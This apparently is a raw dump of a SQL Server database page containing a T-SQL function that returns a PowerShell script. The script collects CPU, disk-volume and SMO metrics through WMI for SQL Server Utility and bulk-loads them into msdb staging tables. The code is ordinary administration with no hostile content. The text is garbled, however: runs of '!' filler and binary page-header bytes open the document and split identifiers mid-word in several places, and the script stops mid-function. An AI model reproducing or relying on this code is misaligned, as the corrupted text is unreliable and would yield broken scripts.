!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(4J
pv>GCREATE FUNCTION [dbo].[fn_sysutility_mi_get_collect_script]()
   RETURNS NVARCHAR(MAX)
AS
BEGIN     
   RETURN '[Void] [System.Reflection.Assembly]::LoadWithPartialName("System.Data")
[Void] [System.Reflection.Assembly]::LoadWithPartialName("System.Diagnostics")
[Void] [System.Reflection.Assembly]::LoadWithPartialName("System.Collections")

###############################################################################
# Powershell settings
###############################################################################

# Generate an error if attempt to access a nonexisting variable
Set-PsDebug -Strict

# Global settings for what to do on a error, warning, or verbose call
# Change these settings to change how this script writes output in the agent logs
# Settings also affects how SQL Agent reports success or failure in the script
# Options are:
#      Continue - Continue processing and notify the user 
#             - Agent reaction: step will report success, and
#                           log will include message
#      Inquire - Stop processing and ask the user how it should proceed 
#             - Agent reaction: step fails with "cannot invoke this function"
#                           the Agent PS provider does not implement this
#      SilentlyContinue - Continue processing without notifying the user
#                    - Agent reaction:  will not fail step 
#                                 and will not log any message
#      Stop - Stop processing when an action occurs
#          - Agent reaction: step will fail with message in log
$VerbosePreference = "SilentlyContinue"
$WarningPreference = "Continue"
$ErrorActionPreference = "Stop"

###############################################################################
# Global Variables
###############################################################################

# The following line uses SQL Agent tokens to set the server name
# ESCAPE_SQUOTE(SRVR) with a $ sign in front is a special token to SQL Agent
# When the job is run, SQL Agent will expand the string to the server name
# Use single quotes so that PS considers the string a literal and will not
# try to expand the $ reference and the script will not fail in a test environment
$serverName = ''$(ESCAPE_SQUOTE(SRVR))''

# Currently the best way to tell if the script is running in Agent
# is to check if the console is not the ConsoleHost.  The Powershell
# subsystem for Agent has no console and thus writing to the host directly
# does not show up in the Agent logs.
$isNotConsole = ($host.Name -ne "ConsoleHost")

$connection = $null
$transaction = $null
$isVistaOrXPSp2OrHigher = $null
$sleepTimeoutSeconds = 5
$directoryNameToDeviceId=$null

$cpuStageTableName = "[msdb].[dbo].[sysutility_mi_cpu_stage_internal]"
$cpuStageDataTable = $null
$cpuNumProcessorsColumnName = "num_processors"
$cpuNameColumnName = "cpu_name"
$cpuCaptionColumnName = "cpu_caption"
$cpuFamilyIdColumnName = "cpu_family_id"  
$cpuArchitectureIdColumnName = "cpu_architecture_id"
$cpuMaxClockSpeedColumnName = "cpu_max_clock_speed"
$cpuClockSpeedColumnName = "cpu_clock_speed"
$cpuL2CacheSizeColumnName = "l2_cache_size"
$cpuL3CacheSizeColumnName = "l3_cache_size"
# Start of collection column names
$cpuInstanceProcessorUsageStartTicks = "instance_processor_usage_start_ticks"
$cpuInstanceCollectTimeStartTicks = "instance_collect_time_start_ticks"
$cpuComputerProcessorIdleStartTicks = "computer_processor_idle_start_ticks"
$cpuComputerCollectTimeStartTicks = "computer_collect_time_start_ticks"
# End of collection column names
$cpuInstanceProcessorUsageEndTicks = "instance_processor_usage_end_ticks"
$cpuInstanceCollectTimeEndTicks = "instance_collect_time_end_ticks"
$cpuComputerProcessorIdleEndTicks = "computer_processor_idle_end_ticks"
$cpuComputerCollectTimeEndTicks = "computer_collect_time_end_ticks"


$volumeStageTableName = "[msdb].[dbo].[sysutility_mi_volumes_stage_internal]"
$volumeStageDataTable = $null
$volumeDeviceIdColumnName = "volume_device_id"
$volumeNameColumnName = "volume_name"
$volumeCapacityColumnName = "capacity_mb"
$volumeFreeSpaceColumnName = "free_space_mb"

$smoStageTableName = "[msdb].[dbo].[sysutility_mi_smo_stage_internal]"
$smoStageDataTable = $null
$smoTypeColumnName = "object_type"
$smoUrnColumnName = "urn"
$smoPropertyNameColumnName = "property_name"
$smoPropertyValueColumnName = "property_value"

###############################################################################
# Functions that help with handling output to SQL Agent
#
# Sql Agent PS provider does not write output to the log from
# the warnings, errors, and verbose Write cmdlets.  The following
# functions wrap these cmdlets for execution as an agent job step.
###############################################################################

# This function is a helper function throws an exception if the passed in object 
# is null or empty.  The intent is to mimic the PowerShell version 2.0 parameter 
# validation function with the same name. The paramter validation is available 
# in 2.0 or higher, but this script can run in 1.0 or 2.0 runtime environment.
function ValidateNotNullOrEmpty($object)
{
    if(($object -eq $null) -or ($object -eq ""))
    {
        throw "The argument is null or empty."
    }
}

# This function helps control control flow for the agent step context
# When running within agent, there are different semantics for writing
# errors, warnings, and messages.  In addition, when running inside an
# agent step, the script will automatically collect and stage data.
# However, if the script is loaded in a PS environment outside of 
# agent, the script will not automatically start to collect and stage data
#
# Returns True if the script is run inside an agent step
#         False if the script is run outside an agent step 
function Get-IsAgentStep
{
   $global:isNotConsole
}

function Write-AgentLog([String] $prefix, [String] $printString, [String] $preference)
{
   if((Get-IsAgentStep) -and ($preference -ne "SilentlyContinue"))
   {
      [Console]::Error.WriteLine($prefix + $printString)
   }
}

function Get-PrintString ($object)
{
   ValidateNotNullOrEmpty $object
   
   $date = Get-Date -DisplayHint Time
   $printString = $date.ToString() + " : " +  $object.ToString()
   $printString
}

function Write-ScriptVerbose ($object)
{
   $printString = Get-PrintString $object
   
   Write-AgentLog "VERBOSE : " $printString $VerbosePreference 
   Write-Verbose $printString
}


function Write-ScriptWarning ($object)
{
   $printString = Get-PrintString $object
   
   Write-AgentLog "WARNING : " $printString $WarningPreference 
   Write-Warning $printString
}

function Write-ScriptError ($object)
{
   $printString = Get-PrintString $object
   
   Write-AgentLog "ERROR : " $printString $ErrorActionPreference 
   Write-Error $printString   
}

function Resolve-Error ($ErrorRecord=$Error[0])
{
   $errorString = $ErrorRecord | Format-List * -Force  | Out-String
   Write-ScriptWarning $errorString
   $errorString = $ErrorRecord.InvocationInfo | Format-List * | Out-String
   Write-ScriptWarning $errorString
   $Exception = $ErrorRecord.Exception
   
   # Print the entire stack of exceptions
   for ($i = 0; $Exception; $i++, ($Exception = $Exception.InnerException))
   {   Write-ScriptWarning ("$i" * 80)
       $errorString = $Exception | Format-List * -Force  | Out-String
      Write-ScriptWarning $errorString
   }
}


###############################################################################
# Connection Functions help to send queries to and manage the connection 
# to the server .
###############################################################################
function Get-Connection
{
   if($global:serverName.Contains(''ESCAPE_SQUOTE(SRVR)''))
   {
      throw "The global variable serverName has not been set."
   }
   if($gl!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(5J=Yiv>Gobal:connection -eq $null)
   {
      Write-ScriptVerbose "Opening connection to $global:serverName"
      $connString="Application Name=SQL Server Utility Managed Instance;Server=$global:serverName;Database=msdb;Trusted_Connection=True;"
      
      $global:connection = New-Object System.Data.SqlClient.SqlConnection
      $global:connection.ConnectionString = $connString
      [Void]$global:connection.Open()
      Write-ScriptVerbose "Opened connection with connection string:`n $connString"
   }
   $global:connection
}

function Remove-Connection
{
   if($global:connection -ne $null)
   {
      $dataSource=$global:connection.DataSource
      Write-ScriptVerbose "Closing and disposing connection to $dataSource"
      [Void]$global:connection.Close()
      [Void]$global:connection.Dispose()
      Write-ScriptVerbose "Connection is closed and disposed"
   }
   $global:connection = $null
}

function Invoke-BeginTransaction([string] $tranName)
{
   Write-ScriptVerbose "Opening transaction"
   $sqlConnection = Get-Connection
   $global:transaction = $sqlConnection.BeginTransaction($tranName)
}

function Invoke-CommitTransaction
{
   if($global:transaction -ne $null)
   {
      Write-ScriptVerbose "Committing transaction"
      $global:transaction.Commit()
      $global:transaction.Dispose()
      $global:transaction = $null
   }
}

function Invoke-RollbackTransaction
{
   if($global:transaction -ne $null)
   {
      Write-ScriptVerbose "Rolling back transaction"
      $global:transaction.Rollback() 
      $global:transaction.Dispose()
      $global:transaction = $null
   }
}

function Invoke-SubmitSqlCommandNonQuery([string] $query)
{
   ValidateNotNullOrEmpty $query
      
   Write-ScriptVerbose "Submitting as NonQuery : $query"
   $TsqlCommand = New-Object System.Data.SqlClient.SqlCommand;
   $TsqlCommand.CommandText = $query
   $TsqlCommand.CommandType = "Text";
   $TsqlCommand.Transaction = $global:transaction
   
   $TsqlCommand.Connection = Get-Connection
   $TsqlCommand.CommandTimeout = 0
   [Void] $TsqlCommand.ExecuteNonQuery()
}

function Get-SqlDataTable([string] $query)
{
   ValidateNotNullOrEmpty $query
   
   Write-ScriptVerbose "Requesting data table for : $query"
   $sqlConnection = Get-Connection
    $dataAdapter = New-Object System.Data.SqlClient.SqlDataAdapter($query, $sqlConnection)
    $dataTable = New-Object System.Data.DataTable
    $rowsFilled = $dataAdapter.Fill($dataTable)
   Write-ScriptVerbose "Query added $rowsFilled rows to the data table"
    # return the data table.  We need to wrap the variable because PS will
   # return data rows otherwise.
   return @(,($dataTable))
} 

function Invoke-BulkCopyCommand([System.Data.DataTable] $dataTableData)
{
   ValidateNotNullOrEmpty $dataTableData
   
   $opt = [System.Data.SqlClient.SqlBulkCopyOptions] 

   # Obtain a TableLock
   # But do not (use) Default (options), KeepIdentity, CheckConstraints, KeepNulls
   #  FireTriggers,  UseInternalTransaction
   $bulkOptions = $opt::none -bxor ("TableLock" -as $opt) 

   $tabName=$dataTableData.TableName
   Write-ScriptVerbose "Bulk copying data table : $tabName"
   $sqlConnection = Get-Connection
   $bulkCopy = new-object Data.SqlClient.SqlBulkCopy $sqlConnection, $bulkOptions,  $global:transaction
   $bulkCopy.DestinationTableName = $dataTableData.TableName
   
   #Map the columns so that the computed columns are skipped in the upload
   foreach($col in $dataTableData.Columns)
   {
      [Void] $bulkCopy.ColumnMappings.Add($col.ColumnName, 
                                 $col.ColumnName)
   }
   [Void] $bulkCopy.WriteToServer($dataTableData)
   
}

###############################################################################
# Short Helper Functions 
###############################################################################

function Get-DefaultIfNull($object, $default)
{
    if($object -eq $null) 
    {
        $default
    } 
    else
    {
        $object
    }
}

function Get-StringDefaultIfNull([String] $object)
{
    Get-DefaultIfNull $object ""
}

function Get-NumericDefaultIfNull($object)
{
    Get-DefaultIfNull $object 0
}

function Get-ProcessId
{
   $result = Get-SqlDataTable "SELECT SERVERPROPERTY(''ProcessID'') AS ProcessId"  | %{ $_.Rows }
   $result.ProcessId
}

function Get-IsWmiVolumeQueryAvailable
{
   if($global:isVistaOrXPSp2OrHigher -eq $null)
   {
      $osVersion = [System.Environment]::OsVersion.Version
      $global:isVistaOrXPSp2OrHigher = ($osVersion.Major -ge 6 -or ($osVersion.Major -ge 5 -and $osVersion.Minor -ge 2))
   }
   Write-ScriptVerbose "This computer is Vista or XP Sp2 or higher value is $global:isVistaOrXPSp2OrHigher"
   $global:isVistaOrXPSp2OrHigher
}

# Trims the volume name to <drive_letter>: format. 
# Reason: Data collection using WMI on different OS returns diffrent volume formats
# E.g. Win32_LogicalDisk on WIN2K3 returns c: and Win32_Volume on WIN2K8 returns c:\

function Get-FormattedVolumeName([String] $volumeName)
{
   [String] $volumeName = Get-StringDefaultIfNull $volumeName
   
   Write-ScriptVerbose "Formatting volume name $volumeName"
   if($volumeName.EndsWith("\"))
   {
      $volumeName = $volumeName.SubString(0,$volumeName.Length - 1)
   }
   
   Write-ScriptVerbose "Formatted volume name to $volumeName"
   $volumeName
}

function Get-MountPointDictionary()
{
	if($global:directoryNameToDeviceId -eq $null)
	{
		$global:directoryNameToDeviceId=@{}
		(Get-Wmiobject Win32_MountPoint) | 
		%{ $directory=$_.Directory.Replace("Win32_Directory.Name=", "").Replace("`"", "").Replace("\\", "\")
		   $deviceId=$_.Volume.Replace("Win32_Volume.DeviceID=`"", "").Replace("`"", "").Replace("\\", "\")
		   $global:directoryNameToDeviceId[$directory]=$deviceId
		}
	}
	return $global:directoryNameToDeviceId
}

# The following function returns a directory name that maps to a volume device
# based on longest match.  It is not exact because a file can have a long
# convoluted path that pass through many mount point references
# However, it will find the most common use case for mount points
function Get-MountPointName([String] $fileName)
{
    [String] $fileName = Get-StringDefaultIfNull $fileName

    $longestMatch = ""
    $dict = Get-MountPointDictionary
    foreach($directory in $dict.Keys)
    {
        if($fileName.StartsWith($directory, [System.StringComparison]::OrdinalIgnoreCase))
        {
            if($directory.Length -gt $longestMatch.Length)
            {
                $longestMatch = $directory
            }
        }
    }
    return $longestMatch
}


function Get-DeviceIdFromMountPointName([String] $mountPointDirectory)
{
    [String] $mountPointDirectory = Get-StringDefaultIfNull $mountPointDirectory

    $dict = Get-MountPointDictionary
    
    $dict[$mountPointDirectory]
} 

function Get-MegabytesFromBytes ([Uint64] $bytes)
{
   [Uint64] $bytes = Get-NumericDefaultIfNull $bytes
      
   Write-ScriptVerbose "Converting $bytes bytes to megabytes"
   $oneMB = 1048576
   [UInt64] ($bytes / $oneMB)  # No fractional MBs
}

function Get-ShouldCollectCpu
{   
   if( ($global:cpuStageDataTable -eq $null) -or ($global:cpuStageDataTable.Rows.Count -eq 0))
   {
      Write-ScriptVerbose "The cpu staging table is null or empty.  Get-ShouldCollectCpu returning true"
      # return True and exit early
      return $true
   }
   else
   {
      $dataRow = $global:cpuStageDataTable.Rows[0]
      
      # return the value of the disjunction
      $dataRow[$cpuInstanceProcessorUsageStartTicks] -eq 0 -or
         $dataRow[$cpuInstanceCollectTimeStartTicks] -eq 0 -or
         $dataRow[$cpuComputerProcessorIdleStartTicks] -eq 0 -or
         $dataRow[$cpuComputerCollectTimeStartTicks] -eq 0
   }
}

###############################################################################
# Sta!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(6JQv>Gging Functions that construct DataTables based on the different types of 
# data collection
###############################################################################
function Add-StageCpuRow
{
   param ([Int32] $numProcessors, [String] $cpuName, [String] $cpuCaption, [UInt16] $cpuFamily, 
      [UInt16] $architecture, [UInt32] $cpuMaxClockSpeed, [UInt32] $clockSpeed, 
      [UInt32] $l2CacheSize, [UInt32] $l3CacheSize, 
      [UInt64] $instanceProcessorUsage, [Int64] $instanceCollectTime, 
      [UInt64] $computerIdleTime, [UInt64] $computerCollectTime)

   begin
   {
      # This function update the Cpu table in-place by
      # first querying the server for the previous collection
      # information
      if($global:cpuStageDataTable -eq $null)
      {
         $query = "SELECT  
                  $cpuNumProcessorsColumnName,
                  $cpuNameColumnName,
                  $cpuCaptionColumnName,
                  $cpuFamilyIdColumnName,
                  $cpuArchitectureIdColumnName,
                  $cpuMaxClockSpeedColumnName,
                  $cpuClockSpeedColumnName,
                  $cpuL2CacheSizeColumnName,
                  $cpuL3CacheSizeColumnName,
                  $cpuInstanceProcessorUsageStartTicks,
                  $cpuInstanceCollectTimeStartTicks,
                  $cpuComputerProcessorIdleStartTicks,
                  $cpuComputerCollectTimeStartTicks,
                  $cpuInstanceProcessorUsageEndTicks,
                  $cpuInstanceCollectTimeEndTicks,
                  $cpuComputerProcessorIdleEndTicks,
                  $cpuComputerCollectTimeEndTicks
               FROM $global:cpuStageTableName"
         $global:cpuStageDataTable = Get-SqlDataTable $query
                  
         # If the data table is null, then there is no
         # data on the server and the table needs to be initialized
         if($global:cpuStageDataTable -eq $null)
         {
            Write-ScriptVerbose "Database returned no rows for cpu table. Creating table definition"
            $global:cpuStageDataTable = New-Object System.Data.DataTable ($global:cpuStageTableName)
            
            ($cpuNumProcessorsColumnName, [UInt16]), 
            ($cpuNameColumnName,[string]), 
            ($cpuCaptionColumnName,[string]), 
            ($cpuFamilyIdColumnName, [UInt16]), 
            ($cpuArchitectureIdColumnName, [UInt16]), 
            ($cpuMaxClockSpeedColumnName, [UInt32]), 
            ($cpuClockSpeedColumnName, [UInt32]), 
            ($cpuL2CacheSizeColumnName, [UInt32]), 
            ($cpuL3CacheSizeColumnName, [UInt32]), 
            ($cpuInstanceProcessorUsageStartTicks, [UInt64]), 
            ($cpuInstanceCollectTimeStartTicks, [Int64]), 
            ($cpuComputerProcessorIdleStartTicks, [UInt64]), 
            ($cpuComputerCollectTimeStartTicks, [UInt64]), 
            ($cpuInstanceProcessorUsageEndTicks, [UInt64]), 
            ($cpuInstanceCollectTimeEndTicks, [Int64]),
            ($cpuComputerProcessorIdleEndTicks, [UInt64]), 
            ($cpuComputerCollectTimeEndTicks, [UInt64]) | 
            foreach { ,
               $column =  new-object Data.DataColumn ($_)
               $global:cpuStageDataTable.Columns.Add($column) 
            }
         }
         $global:cpuStageDataTable.TableName = $global:cpuStageTableName
      }
      
      
      # If there is one row in the table, it is the data that the query returned
      # update the start values to be the old end values
      if ($global:cpuStageDataTable.Rows.Count -eq 1)
      {
         Write-ScriptVerbose "Stage table contains one row. Swapping end to start values."
         $dataRow = [System.Data.DataRow] $global:cpuStageDataTable.Rows[0]
   
         # The previous end values become the start values
         $dataRow[$cpuInstanceProcessorUsageStartTicks] = $dataRow[$cpuInstanceProcessorUsageEndTicks]
         $dataRow[$cpuInstanceCollectTimeStartTicks] = $dataRow[$cpuInstanceCollectTimeEndTicks]
         $dataRow[$cpuComputerProcessorIdleStartTicks] = $dataRow[$cpuComputerProcessorIdleEndTicks]
         $dataRow[$cpuComputerCollectTimeStartTicks] = $dataRow[$cpuComputerCollectTimeEndTicks]
      } 
      else
      {
         # There were no rows in the table or too many rows
         # Either way, the data needs to be cleared and updated
         # with the new information
         $rowCount = $global:cpuStageDataTable.Rows.Count
         Write-ScriptVerbose "Number of rows in data table is $rowCount"   
         
         Write-ScriptVerbose "Clearing stage table and marking start values with 0"
         [Void] $global:cpuStageDataTable.Clear()
         $dataRow = [System.Data.DataRow] $global:cpuStageDataTable.NewRow()
         $global:cpuStageDataTable.Rows.Add($dataRow)
         
         # There are no start values
         $dataRow[$cpuInstanceProcessorUsageStartTicks] = 0
         $dataRow[$cpuInstanceCollectTimeStartTicks] = 0
         $dataRow[$cpuComputerProcessorIdleStartTicks] = 0
         $dataRow[$cpuComputerCollectTimeStartTicks] = 0
      }
   }
   
   process
   {
      # Powershell 2.0 does not default typed parameters that are $null
      # So, the function has to set the defaults for the null parameters
      [Int32] $numProcessors = Get-NumericDefaultIfNull $numProcessors
      [String] $cpuName = Get-StringDefaultIfNull $cpuName
      [String] $cpuCaption = Get-StringDefaultIfNull $cpuCaption
      [UInt16] $cpuFamily = Get-NumericDefaultIfNull $cpuFamily
      [UInt16] $architecture = Get-NumericDefaultIfNull $architecture
      [UInt32] $cpuMaxClockSpeed = Get-NumericDefaultIfNull $cpuMaxClockSpeed
      [UInt32] $clockSpeed = Get-NumericDefaultIfNull $clockSpeed
      [UInt32] $l2CacheSize = Get-NumericDefaultIfNull $l2CacheSize
      [UInt32] $l3CacheSize = Get-NumericDefaultIfNull $l3CacheSize
      [UInt64] $instanceProcessorUsage = Get-NumericDefaultIfNull $instanceProcessorUsage
      [Int64] $instanceCollectTime = Get-NumericDefaultIfNull $instanceCollectTime
      [UInt64] $computerIdleTime = Get-NumericDefaultIfNull $computerIdleTime
      [UInt64] $computerCollectTime = Get-NumericDefaultIfNull $computerCollectTime
      
   
      # instanceCollectTime comes in as an signed int, make sure it is not neg
      if($instanceCollectTime -lt 0)
      {
         $instanceCollectTime = 0
      }
      
      # numProcessors comes in as an signed int, make sure it is not neg
      if($numProcessors -lt 0)
      {
         $numProcessors = 0
      }
   
      # Add the collected information
      Write-ScriptVerbose "Adding collected information to data table"
      $dataRow[$cpuNumProcessorsColumnName] = $numProcessors
      $dataRow[$cpuNameColumnName] = $cpuName
      $dataRow[$cpuCaptionColumnName] = $cpuCaption
      $dataRow[$cpuFamilyIdColumnName] = $cpuFamily
      $dataRow[$cpuArchitectureIdColumnName] = $architecture
      $dataRow[$cpuMaxClockSpeedColumnName] = $cpuMaxClockSpeed
      $dataRow[$cpuClockSpeedColumnName] = $clockSpeed
      $dataRow[$cpuL2CacheSizeColumnName] = $l2CacheSize
      $dataRow[$cpuL3CacheSizeColumnName] = $l3CacheSize
      $dataRow[$cpuInstanceProcessorUsageEndTicks] = $instanceProcessorUsage
      $dataRow[$cpuInstanceCollectTimeEndTicks] = $instanceCollectTime
      $dataRow[$cpuComputerProcessorIdleEndTicks] = $computerIdleTime
      $dataRow[$cpuComputerCollectTimeEndTicks] = $computerCollectTime
   }
}



function Add-StageVolumeRow
{ 
   param ([String]$deviceId,
         [String] $volumeNameRaw, 
         [UInt64] $capacityBytes, 
         [UInt64] $freeSpaceBytes)
   begin
   {
      # Initialize the stage table
      if($global:volumeStageDataTable -eq $null)
      {   
         Write-ScriptVerbose "Volume data table is null, creating table definition."
         $global:volumeStageDataTable = New-Object System.Data.DataTable ($global:volu!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(7J٘v>GmeStageTableName)
            
         ($global:volumeDeviceIdColumnName, [String]), 
         ($global:volumeNameColumnName, [String]), 
         ($global:volumeCapacityColumnName, [UInt64]), 
         ($global:volumeFreeSpaceColumnName, [UInt64])| 
         foreach { ,
            $column =  new-object Data.DataColumn ($_)
            $global:volumeStageDataTable.Columns.Add($column) 
         }
      }
   }
   process
   {
      [String] $deviceId = Get-StringDefaultIfNull $deviceId
      [String] $formattedName = Get-FormattedVolumeName $volumeNameRaw
      [UInt64] $freeSpaceMB = Get-MegabytesFromBytes $freeSpaceBytes
      [UInt64] $capacityMB = Get-MegabytesFromBytes $capacityBytes
      
      if ( ($formattedName -eq "") -or ($deviceId -eq ""))
      {
         Write-ScriptWarning "DeviceId is empty string, or volume name formatting results in empty string.  Skipping this row."
         Write-ScriptWarning "Device Id = $deviceId. Volume name raw = $volumeNameRaw."
         return # return early
      }

      Write-ScriptVerbose "Adding collected information to data table"
      $dataRow = [System.Data.DataRow] $global:volumeStageDataTable.NewRow()
      $dataRow[$global:volumeNameColumnName] = $formattedName
      $dataRow[$global:volumeFreeSpaceColumnName] = $freeSpaceMB
      $dataRow[$global:volumeCapacityColumnName] = $capacityMB
      $dataRow[$global:volumeDeviceIdColumnName] = $deviceId
      Write-ScriptVerbose "Adding row to table"
      
      [Void] $global:volumeStageDataTable.Rows.Add($dataRow)
   }
}


function Add-StageSmoRow
{
   param ([Int32] $type, [String] $objUrn, [String] $propertyName, [object] $value)
   begin
   {      
      # Initialize the stage table
      if($global:smoStageDataTable -eq $null)
      {   
         Write-ScriptVerbose "Smo data table is null, creating table definition."
         $global:smoStageDataTable = New-Object System.Data.DataTable ($global:smoStageTableName)
         
         ($global:smoTypeColumnName, [Int32]), 
         ($global:smoUrnColumnName, [String]), 
         ($global:smoPropertyNameColumnName, [String]), 
         ($global:smoPropertyValueColumnName, [Object]) | 
         foreach { ,
            $column =  new-object Data.DataColumn ($_)
            $global:smoStageDataTable.Columns.Add($column) 
         }   
      }
   }
   process
   {  
      # if the type, propertyName, or Urn is null, something is wrong, throw an exception
      ValidateNotNullOrEmpty $type          
      ValidateNotNUllOrEmpty $propertyName
      ValidateNotNUllOrEmpty $objUrn
      
      # value can be null sometimes, which is fine.  Just throw the row out.
      if ( $value -eq $null )
      {
         Write-ScriptWarning "The value for property $propertyName is null. This property will not be added."
         Write-ScriptWarning "(objUrn = $objUrn)) (type = $type)) (propertyName = $propertyName)) (value = $value))"
         return # return early
      }
      
      Write-ScriptVerbose "Adding collected information for $propertyName to data table"
      $dataRow = [System.Data.DataRow] $global:smoStageDataTable.NewRow()
      $dataRow[$global:smoTypeColumnName] = $type
      $dataRow[$global:smoUrnColumnName] = $objUrn
      $dataRow[$global:smoPropertyNameColumnName] = $propertyName
      $dataRow[$global:smoPropertyValueColumnName] = $value
      
      $global:smoStageDataTable.Rows.Add($dataRow)
      
   }
}
   

###############################################################################
# Collection functions
###############################################################################
function Collect-CpuData
{

   &{ # PS Try
      # Get the Instance-level Performance Data.  An instance is identified 
      # by its process-id
      $processId = Get-ProcessId;
      
      Write-ScriptVerbose "Get WMI percent cpu time for process id = $processId"
      # Get the total processor time from the wmi object
      # PercentProcessorTime is bad property name, it is actually counting the 
      # total number of ticks (100NS based)
      # the instance has spent on processors.
      (Get-WmiObject Win32_PerfRawData_PerfProc_Process -filter "IDProcess = ''$processId''") | 
      %{ $instanceProcessorUsage = $_.PercentProcessorTime };
      
      Write-ScriptVerbose "Get current time for collection time"
      # Find the current number of ticks
      $instanceCollectTime = [DateTime]::UtcNow.Ticks
      
      Write-ScriptVerbose "Get WMI machine cpu time and time stamp"
      # Get the Machine-level Performance Data
      (Get-WmiObject Win32_PerfRawData_PerfOS_Processor -filter "Name = ''_Total''") |
      %{ $computerIdleTime = $_.PercentProcessorTime; 
      $computerCollectTime = $_.TimeStamp_Sys100NS };
      
      Write-ScriptVerbose "Get WMI cpu details"
      # Get the processor details
      (Get-WmiObject Win32_Processor) | 
      %{$cpuName = $_.Name;
      $cpuCaption = $_.Caption;
      $cpuFamily = $_.Family; 
      $architecture = $_.Architecture; 
      $cpuMaxClockSpeed = $_.MaxClockSpeed;
      $clockSpeed = $_.CurrentClockSpeed; 
      $l2CacheSize = $_.L2CacheSize; 
      $l3CacheSize = $_.L3CacheSize };
      
      [Int32] $numProcessors = [System.Environment]::ProcessorCount
      
      Write-ScriptVerbose "Add row to cpu information"
      Add-StageCpuRow   $numProcessors $cpuName $cpuCaption $cpuFamily $architecture $cpuMaxClockSpeed $clockSpeed $l2CacheSize $l3CacheSize $instanceProcessorUsage $instanceCollectTime $computerIdleTime $computerCollectTime
      
      $global:cpuStageDataTable
   }
   # PS Catch
   trap [Exception]
   {
      Resolve-Error
      Write-ScriptError "Caught exception while collecting cpu properties.  A WMI query might have failed."
   }   
   
}

function Collect-VolumeData
{
   &{ # PS Try
      if( Get-IsWmiVolumeQueryAvailable )
      {
         # A null DriveLetter indicates that the volume is a mount point
         # Casting DriveLetter to [Boolean] results in False if it is null 
         Write-ScriptVerbose "Collecting volume information using Win32_Volume"
         (Get-Wmiobject Win32_Volume -filter "DriveType = 3") | 
         %{ Add-StageVolumeRow $_.DeviceId $_.Name $_.Capacity $_.FreeSpace }
      }
      else
      {
         # logical disk only collects disk information, not mount point information
         # hence passing in false as is_mount_point parameter
         Write-ScriptVerbose "Collecting volume information using Win32_LogicalDisk"
         (Get-Wmiobject Win32_LogicalDisk -filter "DriveType = 3") | 
         %{ Add-StageVolumeRow $_.DeviceId $_.Name $_.Size $_.FreeSpace }
      }
      
      $global:volumeStageDataTable
   }
   # PS Catch
   trap [Exception]
   {
      Resolve-Error
      Write-ScriptError "Caught exception while collecting volume properties.  A WMI query might have failed."
   }   
}

function Collect-SmoData
{
   
   &{ # PS try
      $sqlConnection = Get-Connection
      $serverConnection = New-Object Microsoft.SqlServer.Management.Common.ServerConnection $sqlConnection
      $server = New-Object Microsoft.SqlServer.Management.Smo.Server($serverConnection);
      
      # remove configurations from this table
      $objectsQuery = "SELECT object_type, sfc_query 
               FROM [msdb].[dbo].[sysutility_mi_smo_objects_to_collect_internal] AS sfc_queries";
      
